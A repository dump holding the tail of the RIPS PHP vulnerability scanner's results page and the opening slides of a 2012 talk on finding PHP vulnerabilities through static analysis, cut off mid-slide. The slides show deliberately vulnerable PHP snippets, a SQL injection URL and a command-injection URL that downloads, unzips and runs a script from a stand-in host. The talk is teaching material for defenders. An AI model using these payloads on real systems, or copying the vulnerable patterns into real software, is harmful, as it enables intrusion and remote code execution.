Sources::$F_OTHER_INPUT;\n\t\t\t\t// add file and database functions as tainting functions\n\t\t\t\tif( $verbosity > 1 && $verbosity < 5 )\n\t\t\t\t{\n\t\t\t\t\t$source_functions = array_merge(Sources::$F_OTHER_INPUT, Sources::$F_FILE_INPUT, Sources::$F_DATABASE_INPUT);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$overall_time = 0;\n\t\t\t$timeleft = 0;\n\t\t\t$file_amount = count($files);\n\t\t\tif (defined(\"MODE_CLI\"))\n\t\t\t\techo \"\\n<div id=\\\"scan_metadata\\\" style=\\\"display: none;\\\">\";\t\t//hide metadata\n\n\t\t\tfor($fit=0; $fit<$file_amount; $fit++)\n\t\t\t{\n\t\t\t\t// for scanning display\n\t\t\t\t$thisfile_start = microtime(TRUE);\n\t\t\t\t$file_scanning = $files[$fit];\n\n\t\t\t\techo ($fit) . '|' . $file_amount . '|' . $file_scanning . '|' . $timeleft . '|' . \"\\n\";\n\t\t\t\t@ob_flush();\n\t\t\t\tflush();\n\n\t\t\t\t// scan\n\t\t\t\t$scan = new Scanner($file_scanning, $scan_functions, $info_functions, $source_functions);\n\t\t\t\t$scan->parse();\n\t\t\t\t$scanned_files[$file_scanning] = $scan->inc_map;\n\n\t\t\t\t$overall_time += microtime(TRUE) - $thisfile_start;\n\t\t\t\t// timeleft = average_time_per_file * file_amount_left\n\t\t\t\t$timeleft = round(($overall_time/($fit+1)) * ($file_amount - $fit+1),2);\n\t\t\t}\n\t\t\t#die(\"done\");\n\t\t\techo \"STATS_DONE.\\n\";\n\t\t\tif (defined(\"MODE_CLI\"))\n\t\t\t\techo \"\\n</div>\";\t\t//hide metadata\n\t\t\t@ob_flush();\n\t\t\tflush();\n\n\t\t}\n\t\t// SEARCH\n\t\telse if(!empty($_POST['regex']))\n\t\t{\n\t\t\t$count_matches = 0;\n\t\t\t$verbosity = 0;\n\t\t\tforeach($files as $file_name)\n\t\t\t{\n\t\t\t\tsearchFile($file_name, $_POST['regex']);\n\t\t\t}\n\t\t}\n\t}\n\n\t$elapsed = microtime(TRUE) - $start;\n\n\t################################  RESULT  #################################\n?>\n<div id=\"window1\" name=\"window\" style=\"width:600px; height:250px;\">\n\t<div class=\"windowtitlebar\">\n\t\t<div id=\"windowtitle1\" onClick=\"toTop(1)\" onmousedown=\"dragstart(1)\" class=\"windowtitle\"></div>\n\t\t<input id=\"maxbutton1\" type=\"button\" class=\"maxbutton\" value=\"&nabla;\" onClick=\"maxWindow(1, 800)\" title=\"maximize\" />\n\t\t<input type=\"button\" class=\"closebutton\" value=\"x\" onClick=\"closeWindow(1)\" title=\"close\" />\n\t</div>\n\n\t<div style=\"position:relative;width:100%;\">\n\t<div id=\"scrolldiv\">\n\t\t<div id=\"scrollwindow\"></div>\n\t\t<div id=\"scrollcode\"></div>\n\t</div>\n\t<div id=\"windowcontent1\" class=\"windowcontent\" onscroll=\"scroller()\"></div>\n\t<div style=\"clear:left;\"></div>\n\t</div>\n\n\t<div id=\"return\" class=\"return\" onClick=\"returnLastCode()\">&crarr; return</div>\n\t<div class=\"windowfooter\" onmousedown=\"resizeStart(event, 1)\"></div>\n</div>\n\n<div id=\"window2\" name=\"window\" style=\"width:600px; height:250px;\">\n\t<div class=\"windowtitlebar\">\n\t\t<div id=\"windowtitle2\" onClick=\"toTop(2)\" onmousedown=\"dragstart(2)\" class=\"windowtitle\"></div>\n\t\t<input type=\"button\" class=\"closebutton\" value=\"x\" onClick=\"closeWindow(2)\" title=\"close\" />\n\t</div>\n\t<div id=\"windowcontent2\" class=\"windowcontent\"></div>\n\t<div class=\"windowfooter\" onmousedown=\"resizeStart(event, 2)\"></div>\n</div>\n\n<div id=\"window3\" name=\"window\" style=\"width:300px; height:300px;\">\n\t<div class=\"funclisttitlebar\">\n\t\t<div id=\"windowtitle3\" onClick=\"toTop(3)\" onmousedown=\"dragstart(3)\" class=\"funclisttitle\">\n\t\tuser defined functions and calls\n\t\t</div>\n\t\t<input type=\"button\" class=\"closebutton\" value=\"x\" onClick=\"closeWindow(3)\" title=\"close\" />\n\t</div>\n\t<div id=\"windowcontent3\" class=\"funclistcontent\">\n\t\t<div >\n\t\t\t<input type=\"button\" id=\"functionlistbutton\" class=\"button\" onclick=\"showlist('function');minWindow(3, 650);\" value=\"list\" style=\"background:white;color:black;\" />\n\t\t\t<input type=\"button\" id=\"functiongraphbutton\" class=\"button\" onclick=\"showgraph('function');maxWindow(3, 650);\" value=\"graph\"/>\n\t\t\t<input type=\"button\" id=\"functioncanvassave\" class=\"button\" onclick=\"saveCanvas('functioncanvas', 3)\" value=\"save graph\" />\n\t\t\t<?php  if($verbosity == 5) echo '<br>(graph not available in debug mode)'; ?>\n\t\t</div>\n\t\t<?php\n\t\t\tcreateFunctionList($user_functions_offset);\n\t\t?>\n\t\t<div id=\"canvas3\" style=\"display:none\"></div>\n\t\t<canvas id=\"functioncanvas\" tabindex=\"0\" width=\"650\" height=\"<?php echo (count($user_functions_offset)/4)*70+200; ?>\"></canvas>\n\t</div>\n\t<div class=\"funclistfooter\" onmousedown=\"resizeStart(event, 3)\"></div>\n</div>\n\n<div id=\"window4\" name=\"window\" style=\"width:300px; height:300px;\">\n\t<div class=\"funclisttitlebar\">\n\t\t<div id=\"windowtitle4\" onClick=\"toTop(4)\" onmousedown=\"dragstart(4)\" class=\"funclisttitle\">\n\t\tuser input\n\t\t</div>\n\t\t<input type=\"button\" class=\"closebutton\" value=\"x\" onClick=\"closeWindow(4)\" title=\"close\" />\n\t</div>\n\t<div id=\"windowcontent4\" class=\"funclistcontent\">\n\t\t<?php\n\t\t\tcreateUserinputList($user_input);\n\t\t?>\n\t</div>\n\t<div class=\"funclistfooter\" onmousedown=\"resizeStart(event, 4)\"></div>\n</div>\n\n<div id=\"window5\" name=\"window\" style=\"width:300px; height:300px;\">\n\t<div class=\"funclisttitlebar\">\n\t\t<div id=\"windowtitle4\" onClick=\"toTop(5)\" onmousedown=\"dragstart(5)\" class=\"funclisttitle\">\n\t\tscanned files and includes\n\t\t</div>\n\t\t<input type=\"button\" class=\"closebutton\" value=\"x\" onClick=\"closeWindow(5)\" title=\"close\" />\n\t</div>\n\t<div id=\"windowcontent5\" class=\"funclistcontent\">\n\t\t<div >\n\t\t\t<input type=\"button\" id=\"filelistbutton\" class=\"button\" onclick=\"showlist('file');minWindow(5, 650);\" value=\"list\" style=\"background:white;color:black;\"/>\n\t\t\t<input type=\"button\" id=\"filegraphbutton\" class=\"button\" onclick=\"showgraph('file');maxWindow(5, 650);\" value=\"graph\"/>\n\t\t\t<input type=\"button\" id=\"filecanvassave\" class=\"button\" onclick=\"saveCanvas('filecanvas', 5)\" value=\"save graph\" />\n\t\t</div>\n\t\t<?php\n\t\t\tcreateFileList($scanned_files, $file_sinks_count);\n\t\t?>\n\t\t<div id=\"canvas5\" style=\"display:none\"></div>\n\t\t<canvas id=\"filecanvas\" tabindex=\"0\" width=\"650\" height=\"<?php echo (count($files)/4)*70+200; ?>\"></canvas>\n\t</div>\n\t<div class=\"funclistfooter\" onmousedown=\"resizeStart(event, 5)\"></div>\n</div>\n\n<div id=\"funccode\" onclick=\"closeFuncCode()\">\n\t<div id=\"funccodetitle\" onmouseout=\"closeFuncCode()\"></div>\n\t<div id=\"funccodecontent\"></div>\n</div>\n\n<div id=\"stats\" class=\"stats\">\n\t<table class=\"textcolor\" width=\"100%\">\n\t\t<tr>\n\t\t\t<th align=\"left\" style=\"font-size:22px;padding-left:10px\">Result</th>\n\t\t\t<th align=\"right\"><input class=\"button\" type=\"button\" value=\"x\" onClick=\"document.getElementById('stats').style.display='none';\" title=\"close\" /></th>\n\t\t</tr>\n\t</table>\n\t<hr />\n\t<table class=\"textcolor\" width=\"100%\">\n<?php\n\t// output stats\n\tif(empty($_POST['search']))\n\t{\n\t\t$count_all=$count_xss+$count_sqli+$count_fr+$count_fa+$count_fi+$count_exec+$count_code+$count_eval+$count_xpath+$count_ldap+$count_con+$count_other+$count_pop+$count_header+$count_sf+$count_ri;\n\t\tif($count_all > 0)\n\t\t{\n\t\t\tif($count_code > 0)\n\t\t\t\tstatsRow(1, $NAME_CODE, $count_code, $count_all);\n\t\t\tif($count_exec > 0)\n\t\t\t\tstatsRow(2, $NAME_EXEC, $count_exec, $count_all);\n\t\t\tif($count_con > 0)\n\t\t\t\tstatsRow(3, $NAME_CONNECT, $count_con, $count_all);\n\t\t\tif($count_fr > 0)\n\t\t\t\tstatsRow(4, $NAME_FILE_READ, $count_fr, $count_all);\n\t\t\tif($count_fi > 0)\n\t\t\t\tstatsRow(5, $NAME_FILE_INCLUDE, $count_fi, $count_all);\n\t\t\tif($count_fa > 0)\n\t\t\t\tstatsRow(6, $NAME_FILE_AFFECT, $count_fa, $count_all);\n\t\t\tif($count_ldap > 0)\n\t\t\t\tstatsRow(7, $NAME_LDAP, $count_ldap, $count_all);\n\t\t\tif($count_sqli > 0)\n\t\t\t\tstatsRow(8, $NAME_DATABASE, $count_sqli, $count_all);\n\t\t\tif($count_xpath > 0)\n\t\t\t\tstatsRow(9, $NAME_XPATH, $count_xpath, $count_all);\n\t\t\tif($count_xss > 0)\n\t\t\t\tstatsRow(10, $NAME_XSS, $count_xss, $count_all);\n\t\t\tif($count_header > 0)\n\t\t\t\tstatsRow(11, $NAME_HTTP_HEADER, $count_header, $count_all);\n\t\t\tif($count_sf > 0)\n\t\t\t\tstatsRow(12, $NAME_SESSION_FIXATION, $count_sf, $count_all);\n\t\t\tif($count_other > 0)\n\t\t\t\tstatsRow(13, $NAME_OTHER, $count_other, $count_all);\n\t\t\tif($count_ri > 0)\n\t\t\t\tstatsRow(14, $NAME_REFLECTION, $count_ri, $count_all);\n\t\t\tif($count_pop > 0)\n\t\t\t\tstatsRow(15, $NAME_POP, $count_pop, $count_all);\n\t\t\techo '<tr><td nowrap width=\"160\" onmouseover=\"this.style.color=\\'white\\';\" onmouseout=\"this.style.color=\\'#DFDFDF\\';\" onClick=\"showAllCats()\" style=\"cursor:pointer;\" title=\"show all categories\">Sum:</td><td>',$count_all,'</td></tr>';\n\t\t} else\n\t\t{\n\t\t\techo '<tr><td colspan=\"2\" width=\"160\">No vulnerabilities found.</td></tr>';\n\t\t}\n\t} else\n\t{\n\t\techo '<tr><td colspan=\"2\">',(($count_matches == 0) ? 'No' : $count_matches),' matches found.</td></tr>';\n\t}\n\n\techo '</table><hr /><table class=\"textcolor\" width=\"100%\">',\n\t\t'<tr><td nowrap width=\"160\" onmouseover=\"this.style.color=\\'white\\';\" onmouseout=\"this.style.color=\\'#DFDFDF\\';\" onClick=\"openWindow(5);eval(document.getElementById(\\'filegraph_code\\').innerHTML);maxWindow(5, 650);\" style=\"cursor:pointer;\" title=\"open files window\">Scanned files:</td><td nowrap colspan=\"2\">',count($files),'</td></tr>';\n\tif(empty($_POST['search']))\n\t{\n\t\techo '<tr><td nowrap width=\"160\">Include success:</td><td nowrap colspan=\"2\">';\n\n\t\tif($count_inc > 0)\n\t\t{\n\t\t\techo ($count_inc_success=$count_inc-$count_inc_fail).'/'.$count_inc,\n\t\t\t' ('.$round_inc_success=round(($count_inc_success/$count_inc)*100,0).'%)';\n\t\t} else\n\t\t{\n\t\t\techo 'No includes.';\n\t\t}\n\n\t\techo '</td></tr>',\n\t\t'<tr><td nowrap>Considered sinks:</td><td nowrap>',count($scan_functions),'</td><td rowspan=\"4\" >';\n\t\tif(empty($_POST['search']) && $count_all > 0)\n\t\t{\n\t\t\techo '<div class=\"diagram\"><canvas id=\"diagram\" width=\"80\" height=\"70\"></canvas></div>';\n\t\t}\n\t\techo '</td></tr>',\n\t\t'<tr><td nowrap onmouseover=\"this.style.color=\\'white\\';\" onmouseout=\"this.style.color=\\'#DFDFDF\\';\" onClick=\"openWindow(3);eval(document.getElementById(\\'functiongraph_code\\').innerHTML);maxWindow(3, 650);\" style=\"cursor:pointer;\" title=\"open functions window\">User-defined functions:</td><td nowrap>'.(count($user_functions_offset)-(count($user_functions_offset)>0?1:0)).'</td></tr>',\n\t\t'<tr><td nowrap onmouseover=\"this.style.color=\\'white\\';\" onmouseout=\"this.style.color=\\'#DFDFDF\\';\" onClick=\"openWindow(4);\" style=\"cursor:pointer;\" title=\"open userinput window\">Unique sources:</td><td nowrap>'.count($user_input).'</td></tr>',\n\t\t'<tr><td nowrap>Sensitive sinks:</td><td nowrap>'.(is_array($file_sinks_count) ? array_sum($file_sinks_count) : 0).'</td></tr>',\n\t\t'</table><hr />';\n\n\t\t// output info gathering\n\t\tif( !empty($info) || ($count_inc>0 && $round_inc_success < 75 && !$scan_subdirs && count($files)>1) )\n\t\t{\n\t\t\t$info = array_unique($info);\n\t\t\techo '<table class=\"textcolor\" width=\"100%\">';\n\t\t\tforeach($info as $detail)\n\t\t\t{\n\t\t\t\techo '<tr><td width=\"160\">Info:</td><td><small>',$detail,'</small></td></tr>';\n\t\t\t}\n\t\t\tif($count_inc>0 && $round_inc_success < 75 && !$scan_subdirs && count($files)>1)\n\t\t\t{\n\t\t\t\techo '<tr><td width=\"160\">Info:</td><td><small><font color=\"orange\">Your include success is low. Enable <i>subdirs</i> for better filename guesses.</font></small></td></tr>';\n\t\t\t}\n\t\t\techo '</table><hr />';\n\t\t}\n\n\t\techo '<center><a href=\"https://www.ripstech.com/latest/\" target=\"_blank\" style=\"text-decoration:none;font-size:11pt\" onmouseover=\"this.style.color=\\'white\\';\" onmouseout=\"this.style.color=\\'#DFDFDF\\';\">Get the next generation of <font color=\"#FC4\">RIPS</font><br />with state-of-the-art code analysis!</a></center><hr />';\n\t}\n\t\t?>\n\t\t<table class=\"textcolor\" width=\"100%\">\n\t\t<tr><td nowrap width=\"160\">Scan time:</td><td nowrap><span id=\"scantime\"><?php printf(\"%.03f seconds\", $elapsed); ?></span></td></tr>\n\t</table>\n\n</div>\n\n<?php\n\t// scan result\n\t@printoutput($output, $_POST['treestyle']);\n?>\n"
  },
  {
    "path": "papers/LCA 2012_ PHP Static Code Analysis.html",
    "content": "<!DOCTYPE html>\n<!--\n  Google HTML5 slide template\n\n  Authors: Luke Mahé (code)\n           Marcin Wichary (code and design)\n           \n           Dominic Mazzoni (browser compatibility)\n           Charles Chen (ChromeVox support)\n\n  URL: http://code.google.com/p/html5slides/\n-->\n<html><head>\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n    <title>LCA 2012: PHP Static Code Analysis</title>\n\n    <meta charset=\"utf-8\">\n    <script src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/slides.txt\"></script>\n  <style>\n    /* Your individual styles here, or just use inline styles if that’s\n       what you want. */\n    \n    \n  </style><meta content=\"width=1100,height=750\" name=\"viewport\"><meta content=\"yes\" name=\"apple-mobile-web-app-capable\"></head>\n  \n  \n\n  <body class=\"loaded\" style=\"display: none\">\n\n    <section class=\"slides layout-regular template-lca\">\n      \n      <!-- Your slides (<article>s) go here. Delete or comment out the\n           slides below. -->\n        \n        \n      \n      <article class=\"biglogo current\">\n\t<h1>\n\t\tFinding vulnerabilities in PHP code\n\t</h1>\n\t<h3>\n\t\t(via static code analysis) \n\t</h3>\n\t<p>By Peter Serwylo</p>\n\t<p>http://peter.serwylo.com</p>\n\t<p>@serwylo</p>\n      </article>\n\n\t<article class=\"next\">\n\t\t<h1>\n\t\t\tVulnerabilities crash course\n\t\t</h1>\n\t</article>\n\n\t<article class=\"far-next\">\n\t\t<h1>\n\t\t\tUnsanitized user input\n\t\t</h1>\n\t</article>\n\n\t<article class=\"\">\n\t\t<h1>\n\t\t\tQuick quiz:\n\t\t</h1>\n\t\t<p>\n\t\t\tWhat happens next?\n\t\t</p>\n\t\t<pre class=\"prettyprint\"><span class=\"pln\">$id </span><span class=\"pun\">=</span><span class=\"pln\"> $_GET</span><span class=\"pun\">[</span><span class=\"str\">'id'</span><span class=\"pun\">];</span><span class=\"pln\"> \n$username </span><span class=\"pun\">=</span><span class=\"pln\"> </span><span class=\"str\">\"user\"</span><span class=\"pln\"> </span><span class=\"pun\">.</span><span class=\"pln\"> $id</span><span class=\"pun\">;</span><span class=\"pln\">\nmysqli_query</span><span class=\"pun\">(</span><span class=\"pln\"> </span><span class=\"str\">\"\n\tSELECT * \n\tFROM Users \n\tWHERE Username = '\"</span><span class=\"pln\"> </span><span class=\"pun\">.</span><span class=\"pln\"> $username </span><span class=\"pun\">.</span><span class=\"pln\"> </span><span class=\"str\">\"' AND Valid = 1\"</span><span class=\"pln\"> </span><span class=\"pun\">);</span><span class=\"pln\">\n\t\t</span></pre>\n\t</article>\n\n\t<article class=\"fill\">\n\t\t<p class=\"build\">\n\t\t\t<img class=\"to-build\" src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/balrog.jpg\">\n\t\t</p>\n\t\t<div class=\"source white\">\n\t\t\tSource: http://lotr.wikia.com\n\t\t</div>\n\t</article>\n\n\t<article>\n\t\t<h3>\n\t\t\tProblem:\n\t\t</h3>\n\t\t<p class=\"build\">\n\t\t\t\t</p><p class=\"to-build\">\n\t\t\t\t\thttp://example.com/?id=1' OR 1 #\n\t\t\t\t</p>\n\t\t\t\t<pre class=\"to-build prettyprint\"><span class=\"pln\">$id </span><span class=\"pun\">=</span><span class=\"pln\"> $_GET</span><span class=\"pun\">[</span><span class=\"str\">'id'</span><span class=\"pun\">];</span><span class=\"pln\"> \n$username </span><span class=\"pun\">=</span><span class=\"pln\"> </span><span class=\"str\">\"user\"</span><span class=\"pln\"> </span><span class=\"pun\">.</span><span class=\"pln\"> $id</span><span class=\"pun\">;</span><span class=\"pln\">\nmysqli_query</span><span class=\"pun\">(</span><span class=\"pln\"> </span><span class=\"str\">\"\n\tSELECT * \n\tFROM Users \n\tWHERE Username = '\"</span><span class=\"pln\"> </span><span class=\"pun\">.</span><span class=\"pln\"> $username </span><span class=\"pun\">.</span><span class=\"pln\"> </span><span class=\"str\">\"' AND Valid = 1\"</span><span class=\"pln\"> </span><span class=\"pun\">);</span><span class=\"pln\">\n\t\t\t\t</span></pre>\n\t\t\t\t<pre class=\"prettyprint lang-sql to-build\"><span class=\"pln\">SELECT </span><span class=\"pun\">*</span><span class=\"pln\"> \nFROM </span><span class=\"typ\">Users</span><span class=\"pln\"> \nWHERE </span><span class=\"typ\">Username</span><span class=\"pln\"> </span><span class=\"pun\">=</span><span class=\"pln\"> </span><span class=\"str\">'user1'</span><span class=\"pln\"> OR </span><span class=\"lit\">1</span><span class=\"pln\"> </span><span class=\"com\"># AND Valid = 1\"</span><span class=\"pln\">\n\t\t\t\t</span></pre>\n\t\t<p></p>\n\t</article>\n\n\t<article>\n\t\t<p style=\"padding-top: 50px\">\n\t\t\t<img class=\"centered\" src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/xkcd-sql.png\">\n\t\t</p>\n\t\t<div class=\"source\">\n\t\t\tSource: http://xkcd.com/327 <br>\n\t\t\ttitle=\"Her daughter is named Help I'm trapped in a driver's license factory.\"\n\t\t</div>\n\t</article>\n\n\t<article>\n\t\t<h1>\n\t\t\tOkay, but that was fairly obvious!\n\t\t</h1>\n\t</article>\n\n      <article>\n        <h1>\n          But what about...\n        </h1>\n        <pre class=\"prettyprint\"><span class=\"kwd\">foreach</span><span class=\"pln\"> </span><span class=\"pun\">(</span><span class=\"pln\"> $_REQUEST </span><span class=\"kwd\">as</span><span class=\"pln\"> $key </span><span class=\"pun\">=&gt;</span><span class=\"pln\"> $value </span><span class=\"pun\">)</span><span class=\"pln\">\n</span><span class=\"pun\">{</span><span class=\"pln\">\n\t$$key </span><span class=\"pun\">=</span><span class=\"pln\"> $value</span><span class=\"pun\">;</span><span class=\"pln\">\n</span><span class=\"pun\">}</span><span class=\"pln\">\n</span><span class=\"pun\">...</span><span class=\"pln\">\n</span><span class=\"com\">// 25 lines of miscellanious, unrelated code</span><span class=\"pln\">\n</span><span class=\"pun\">...</span><span class=\"pln\">\nmysqli_query</span><span class=\"pun\">(</span><span class=\"pln\">\n\t</span><span class=\"str\">\"SELECT * FROM Users WHERE Username = '\"</span><span class=\"pln\"> </span><span class=\"pun\">.</span><span class=\"pln\"> $username </span><span class=\"pun\">.</span><span class=\"pln\"> </span><span class=\"str\">\"'\"</span><span class=\"pln\"> </span><span class=\"pun\">);</span><span class=\"pln\">\n\t</span></pre>\n      </article>\n\n      <article class=\"fill smaller\">\n        <p class=\"build\">\n          <img class=\"to-build\" src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/balrog.jpg\">\n        </p>\n        <div class=\"source white\">\n          Source: http://lotr.wikia.com\n        </div>\n      </article>\n      \n\t<article>\n        <h1>\n        \t\"Just don't do it\"\n\t\t</h1>\n\t</article>\n\n\t<article>\n\t\t<h1>\n\t\t\tMy problem:\n\t\t</h1>\n\t\t<pre class=\"prettyprint\"><span class=\"pln\">$taintedCmd </span><span class=\"pun\">=</span><span class=\"pln\"> </span><span class=\"str\">\"wc -w \"</span><span class=\"pln\"> </span><span class=\"pun\">.</span><span class=\"pln\"> $_GET</span><span class=\"pun\">[</span><span class=\"str\">'file'</span><span class=\"pun\">];</span><span class=\"pln\">\nshell_exec</span><span class=\"pun\">(</span><span class=\"pln\"> $taintedCmd </span><span class=\"pun\">);</span><span class=\"pln\">\n\t\t</span></pre>\n      </article>\n\n      <article class=\"fill\">\n        <p class=\"build\">\n          <img class=\"to-build\" src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/balrog.jpg\">\n        </p>\n        <div class=\"source white\">\n          Source: http://lotr.wikia.com\n        </div>\n      </article>\n\n\t<article>\n\t\t<h3>\n\t\t\tProblem:\n\t\t</h3>\n\t\t<p>\nhttp://example.com/?file=<br>\n&nbsp;&nbsp;file.txt' &amp;&amp;<br>\n&nbsp;&nbsp;wget http://dogeysite.com/hack.zip &amp;&amp;<br>\n&nbsp;&nbsp;unzip hack.zip &amp;&amp;<br>\n&nbsp;&nbsp;./hack.sh #\n\t\t</p>\n\t</article>\n\n\t<article class=\"fill\">\n\t\t<p class=\"build\">\n\t\t\t<img class=\"to-build\" src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/steelin-ur-datax.jpg\">\n\t\t</p>\n\t</article>\n\n      <article>\n        <h3>\n          First thought:\n        </h3>\n        <pre class=\"prettyprint lang-bash\"><span class=\"pln\">grep </span><span class=\"pun\">-</span><span class=\"pln\">r </span><span class=\"pun\">-</span><span class=\"pln\">B </span><span class=\"lit\">10</span><span class=\"pln\"> </span><span class=\"pun\">-</span><span class=\"pln\">i </span><span class=\"str\">\"shell_exec\"</span><span class=\"pln\"> </span><span class=\"pun\">&gt;&gt;</span><span class=\"pln\"> commandExecutions</span><span class=\"pun\">.</span><span class=\"pln\">txt \n        </span></pre>\n        <pre class=\"prettyprint\"><span class=\"pun\">...</span><span class=\"pln\">\nfile</span><span class=\"pun\">.</span><span class=\"pln\">php</span><span class=\"pun\">-</span><span class=\"pln\">     $cmd </span><span class=\"pun\">=</span><span class=\"pln\"> </span><span class=\"str\">\"find -name '\"</span><span class=\"pln\"> </span><span class=\"pun\">.</span><span class=\"pln\"> $name </span><span class=\"pun\">.</span><span class=\"pln\"> </span><span class=\"str\">\"' documents/\"</span><span class=\"pun\">;</span><span class=\"pln\">\nfile</span><span class=\"pun\">.</span><span class=\"pln\">php</span><span class=\"pun\">-</span><span class=\"pln\">   </span><span class=\"pun\">}</span><span class=\"pln\">\nfile</span><span class=\"pun\">.</span><span class=\"pln\">php</span><span class=\"pun\">-</span><span class=\"pln\"> </span><span class=\"pun\">}</span><span class=\"pln\">   \nfile</span><span class=\"pun\">.</span><span class=\"pln\">php</span><span class=\"pun\">:</span><span class=\"pln\"> echo shell_exec</span><span class=\"pun\">(</span><span class=\"pln\"> $cmd </span><span class=\"pun\">);</span><span class=\"pln\">\n        </span></pre>\n      </article>\n\n      <article class=\"fill smaller\">\n        <p class=\"build\">\n          <img class=\"to-build\" src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/rubbish-bin.png\">\n        </p>\n        <div class=\"source white\">\n          http://www.sciencephoto.com\n        </div>\n      </article>\n\n      <article class=\"smaller\">\n        <h3>\n          But...\n        </h3>\n        <iframe src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/a.html\"></iframe>\n      </article>\n\n      <article class=\"fill smaller\">\n        <p class=\"build\">\n          <img class=\"to-build\" src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/rubbish-tip.jpg\">\n        </p>\n        <div class=\"source white\">\n          http://looneytunes09.files.wordpress.com/2010/08/landfill.jpg\n        </div>\n      </article>\n\n      <article>\n        <h1>\n          How do you detect vulnerabilities in code?\n        </h1>\n\t<p class=\"build\">\n\t\t</p><p class=\"to-build\">\n\t\t\thttp://www.google.com.au/search?q=\n\t\t\t<br>\n\t\t\t&nbsp;&nbsp;how+do+you+detect+vulnerabilities+in+code\n\t\t</p>\n\t<p></p>\n      </article>\n\n\t<article>\n\t\t<img class=\"centered\" src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/fwse.png\">\n\t</article>\n\n\t<article>\n\t\t<h1>Static Code Analysis (SCA)</h1>\n\t\t<p>Source Code Analysis</p>\n\t\t<p>Static Program Analysis</p>\n\t\t<p>Compile Time Analysis (well, not for PHP)</p>\n\t</article>\n\n\t<article>\n\t\t<h1>Analysis without execution</h1>\n\t\t<p>Optimising compilers (e.g. g++)</p>\n\t\t<p>IDE's with type checking/code completion</p>\n\t</article>\n\n\t<article>\n\t\t<h1>Step 1: Lexical analysis</h1>\n\t\t<p>Split code into tokens</p>\n\t\t<div class=\"source\">Source: http://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download</div>\n\t</article>\n\n\t<article>\n\t\t<h1>Step 2: Semantic analysis</h1>\n\t\t<pre class=\"prettyprint\"><span class=\"kwd\">print</span><span class=\"pln\"> </span><span class=\"str\">\"print\"</span><span class=\"pun\">;</span></pre>\n\t\t<p>First print is a command</p>\n\t\t<p>Second print is a string</p>\n\t\t<div class=\"source\">Source: http://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download</div>\n\t</article>\n\n\t<article>\n\t\t<h1>Step 3: Control flow analysis</h1>\n\t\t<pre class=\"prettyprint\"><span class=\"kwd\">function</span><span class=\"pln\"> firstCall</span><span class=\"pun\">(</span><span class=\"pln\"> $input </span><span class=\"pun\">)</span><span class=\"pln\"> </span><span class=\"pun\">{</span><span class=\"pln\">\n\t</span><span class=\"kwd\">return</span><span class=\"pln\"> secondCall</span><span class=\"pun\">(</span><span class=\"pln\"> $input </span><span class=\"pun\">)</span><span class=\"pln\"> </span><span class=\"pun\">.</span><span class=\"pln\"> </span><span class=\"str\">\" - 1st\"</span><span class=\"pun\">;</span><span class=\"pln\">\n</span><span class=\"pun\">}</span><span class=\"pln\">\n\n</span><span class=\"kwd\">function</span><span class=\"pln\"> secondCall</span><span class=\"pun\">(</span><span class=\"pln\"> $input </span><span class=\"pun\">)</span><span class=\"pln\"> </span><span class=\"pun\">{</span><span class=\"pln\">\n\t</span><span class=\"kwd\">return</span><span class=\"pln\"> $input </span><span class=\"pun\">.</span><span class=\"pln\"> </span><span class=\"str\">\" - 2nd\"</span><span class=\"pun\">;</span><span class=\"pln\">\n</span><span class=\"pun\">}</span><span class=\"pln\">\n\nfirstCall</span><span class=\"pun\">(</span><span class=\"pln\"> </span><span class=\"str\">\"input\"</span><span class=\"pln\"> </span><span class=\"pun\">);</span></pre>\n\t\t<div class=\"source\">Source: http://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download</div>\n\t</article>\n\n\t<article>\n\t\t<h1>Step 4: Data flow analysis</h1>\n\t\t<pre class=\"prettyprint\"><span class=\"kwd\">function</span><span class=\"pln\"> firstCall</span><span class=\"pun\">(</span><span class=\"pln\"> $input </span><span class=\"pun\">)</span><span class=\"pln\"> </span><span class=\"pun\">{</span><span class=\"pln\">\n\t</span><span class=\"kwd\">return</span><span class=\"pln\"> secondCall</span><span class=\"pun\">(</span><span class=\"pln\"> escapeshellarg</span><span class=\"pun\">(</span><span class=\"pln\"> $input </span><span class=\"pun\">)</span><span class=\"pln\"> </span><span class=\"pun\">);</span><span class=\"pln\">\n</span><span class=\"pun\">}</span><span class=\"pln\">\n\n</span><span class=\"kwd\">function</span><span class=\"pln\"> secondCall</span><span class=\"pun\">(</span><span class=\"pln\"> $input </span><span class=\"pun\">)</span><span class=\"pln\"> </span><span class=\"pun\">{</span><span class=\"pln\">\n\t</span><span class=\"kwd\">return</span><span class=\"pln\"> shell_exec</span><span class=\"pun\">(</span><span class=\"pln\"> $input </span><span class=\"pun\">);</span><span class=\"pln\"> </span><span class=\"com\">// Is $input safe?</span><span class=\"pln\">\n</span><span class=\"pun\">}</span><span class=\"pln\">\n\nfirstCall</span><span class=\"pun\">(</span><span class=\"pln\"> $_GET</span><span class=\"pun\">[</span><span class=\"str\">'input'</span><span class=\"pun\">]</span><span class=\"pln\"> </span><span class=\"pun\">);</span><span class=\"pln\">  </span><span class=\"com\">// Safe</span><span class=\"pln\">\nsecondCall</span><span class=\"pun\">(</span><span class=\"pln\"> $_GET</span><span class=\"pun\">[</span><span class=\"str\">'input'</span><span class=\"pun\">]</span><span class=\"pln\"> </span><span class=\"pun\">);</span><span class=\"pln\"> </span><span class=\"com\">// Not-safe</span></pre>\n\t\t<div class=\"source\">Source: http://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download</div>\n\t</article>\n\n\t<article class=\"fill\">\n\t\t<img src=\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/coke-crushed.jpg\">\n\t\t<div class=\"source white\">\n\t\t\thttp://www.flickr.com/photos/ruthyyy/5000648691\n\t\t</div>\n\t</article>\n\n\t<article>\n\t\t<img class=\"centered\" 